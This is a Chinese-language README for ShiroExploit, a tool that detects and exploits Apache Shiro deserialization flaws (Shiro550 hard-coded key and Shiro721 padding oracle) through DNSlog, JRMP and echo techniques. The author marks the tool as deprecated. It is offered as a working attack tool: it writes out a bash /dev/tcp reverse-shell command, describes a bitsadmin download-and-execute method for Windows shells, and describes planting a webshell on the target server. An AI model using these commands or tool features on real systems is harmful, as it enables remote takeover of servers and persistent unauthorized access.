由于当初作者开发时能力有限,导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持(如更好的回显支持,更有效的gadget与直接支持内存shell等),此工具目前已相形见绌。请各位移步其他更优秀的项目,感谢各位的使用。
对回显方式进行了一次更新,希望现在能好用一点
很多回显方式在本地测试OK,但是在实际环境中却不行,这个问题我不知道该怎么解决,希望有师傅可以指导下或者一起讨论下。
支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式
Shiro550
无需提供rememberMe Cookie,Shiro721
需要提供一个有效的rememberMe Cookie使用 ceye.io 进行漏洞检测
SimplePrincipalCollection
的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload 使用 dnslog.cn 进行漏洞检测
dnslog.cn
申请一个 DNS Record。SimplePrincipalCollection
的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload 使用 JRMP + dnslog 进行漏洞检测
java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]
开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口HTTPService
默认监听 8080
端口,JRMPListener
默认监听 8088
端口JRMP
的方式进行漏洞检测,可以显著减小 cookie 大小SimplePrincipalCollection
的方式筛选出唯一 Key,然后使用 JRMP
依次为各个 Gadget 生成对应的 JRMPListener使用回显进行漏洞检测
SimplePrincipalCollection
的方式筛选出唯一 Key,然后依次判断可用的 Gadget 类型和回显方式反弹shell(linux)
采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1
的方式反弹 shell反弹shell(Windows)
采用 bitsadmin
下载指定 URL 的 exe 文件并执行的方式获取 shell获取Webshell
直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取
在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
感谢 AgeloVito 怕冷的企鹅
给予本项目的技术支持